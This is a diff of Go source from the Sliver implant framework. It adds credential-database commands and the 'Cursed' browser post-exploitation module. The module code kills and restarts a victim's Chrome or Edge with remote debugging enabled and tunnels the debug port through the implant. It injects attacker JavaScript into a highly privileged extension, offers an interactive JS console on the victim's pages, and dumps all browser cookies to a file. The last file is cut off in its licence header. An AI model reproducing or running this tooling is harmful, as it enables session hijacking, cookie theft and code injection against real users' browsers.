"KERBEROS_17_TGS_REP": "Kerberos 5, etype 17, TGS-REP",
"KERBEROS_17_PREAUTH": "Kerberos 5, etype 17, Pre-Auth",
"KERBEROS_17_DB": "Kerberos 5, etype 17, DB",
"KERBEROS_18_TGS_REP": "Kerberos 5, etype 18, TGS-REP",
"KERBEROS_18_PREAUTH": "Kerberos 5, etype 18, Pre-Auth",
"KERBEROS_18_DB": "Kerberos 5, etype 18, DB",
"KERBEROS_23_SA_REQ_PREAUTH": "Kerberos 5, etype 23, AS-REQ Pre-Auth",
"KERBEROS_23_TGS_REP": "Kerberos 5, etype 23, TGS-REP",
"KERBEROS_23_AS_REP": "Kerberos 5, etype 23, AS-REP",
"NET_NTLM_V1": "NetNTLMv1 / NetNTLMv1+ESS",
"NET_NTLM_V1_NT": "NetNTLMv1 / NetNTLMv1+ESS (NT)",
"NET_NTLM_V2": "NetNTLMv2",
"NET_NTLM_V2_NT": "NetNTLMv2 (NT)",
"FLASK": "Flask Session Cookie ($salt.$salt.$pass)",
"ISCSI_CHAP": "iSCSI CHAP authentication, MD5(CHAP)",
"RACF": "Resource Access Control Facility",
"AIX_SMD5": "AIX MD5",
"AIX_SSHA1": "AIX SHA-1",
"AIX_SSHA256": "AIX SHA-256",
"AIX_SSHA512": "AIX SHA-512",
"LM": "LM",
"QNX_MD5": "QNX /etc/shadow (MD5)",
"QNX_SHA256": "QNX /etc/shadow (SHA256)",
"QNX_SHA512": "QNX /etc/shadow (SHA512)",
"DPAPI_V1_CTX_1_AND_2": "DPAPI masterkey file v1 (context 1 and 2)",
"DPAPI_V1_CTX_3": "DPAPI masterkey file v1 (context 3)",
"DPAPI_V2_CTX_1_AND_2": "DPAPI masterkey file v2 (context 1)",
"DPAPI_V2_CTX_3": "DPAPI masterkey file v2 (context 3)",
"GRUB_2": "GRUB 2",
"MS_AZURE_SYNC": "MS-AzureSync PBKDF2-HMAC-SHA256",
"BSDI_CRYPT": "BSDi Crypt, Extended DES",
"NTLM": "NTLM",
"RADMIN2": "Radmin2",
"SAMSUNG_ANDROID": "Samsung Android Password/PIN",
"WINDOWS_HELLO_PIN": "Windows Hello PIN/Password",
"WINDOWS_PHONE": "Windows Phone 8+ PIN/Password",
"CISCO_ASA_MD5": "Cisco-ASA MD5",
"CISCO_IOS_PBKDF2_SHA256": "Cisco-IOS $8$ (PBKDF2-SHA256)",
"CISCO_IOS_SCRYPT": "Cisco-IOS $9$ (scrypt)",
"CISCO_PIX_MD5": "Cisco-Pix MD5",
"CITRIX_NETSCALER_SHA1": "Citrix NetScaler (SHA1)",
"CITRIX_NETSCALER_SHA512": "Citrix NetScaler (SHA512)",
"DCC": "Domain Cached Credentials (DCC), MS Cache",
"DCC2": "Domain Cached Credentials 2 (DCC2), MS Cache 2",
// ...
"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
// ...
// INVALID = 9999; // Invalid hash type
// Out of order
"BCRYPT_UNIX": "bcrypt",
"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
}
+65
View File
@@ -0,0 +1,65 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
// CredsCmd - Add new credentials
func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var id string
if len(args) > 0 {
id = args[0]
}
if id == "" {
credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = credential.ID
}
_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
Credentials: []*clientpb.Credential{
{
ID: id,
},
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(creds.Credentials) == 0 {
con.PrintInfof("No credentials 🙁\n")
return
}
PrintCreds(creds.Credentials, con)
}
+73
View File
@@ -0,0 +1,73 @@
package creds
import (
"bytes"
"context"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// SelectCredential - Interactive menu for the user to select a credentials from the database
func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
var creds *clientpb.Credentials
var err error
if hashType == clientpb.HashType_INVALID {
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
if err != nil {
return nil, err
}
}
if len(creds.Credentials) == 0 {
return nil, errors.New("no credentials to select from")
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, cred := range creds.Credentials {
if cred.Plaintext == "" {
fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
} else {
plaintext := cred.Plaintext
if len(plaintext) > 12 {
plaintext = plaintext[:12] + "..."
}
fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no credentials to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a credential:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return creds.Credentials[index], nil
}
}
return nil, nil
}
+3
View File
@@ -0,0 +1,3 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
+436
View File
@@ -0,0 +1,436 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"log"
insecureRand "math/rand"
"os"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath, _ := cmd.Flags().GetString("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = os.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, cmd, con, args)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(cmd)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if restore, _ := cmd.Flags().GetBool("restore"); restore {
args = append(args, "--restore-last-session")
}
if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
args = append(args, "--keep-alive-for-test")
}
if headless, _ := cmd.Flags().GetBool("headless"); headless {
args = append(args, "--headless")
}
if len(cargs) > 0 {
args = append(args, cargs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(cmd),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
userDataFlag, _ := cmd.Flags().GetString("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
exeFlag, _ := cmd.Flags().GetString("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
chromeProcessNames := []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+178
View File
@@ -0,0 +1,178 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"os"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/reeflective/readline"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
)
func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := os.CreateTemp("", "cursed")
shell := readline.NewShell()
shell.History.AddFromFile("cursed history", tmpFile.Name())
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
// EOFPrompt: "exit",
if con.Settings.VimMode {
shell.Config.Set("editing-mode", "vi")
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := shell.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := os.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
+70
View File
@@ -0,0 +1,70 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
)
func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+172
View File
@@ -0,0 +1,172 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath, _ := cmd.Flags().GetString("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = os.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, cmd, con, args)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
edgeProcessNames := []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
+216
View File
@@ -0,0 +1,216 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
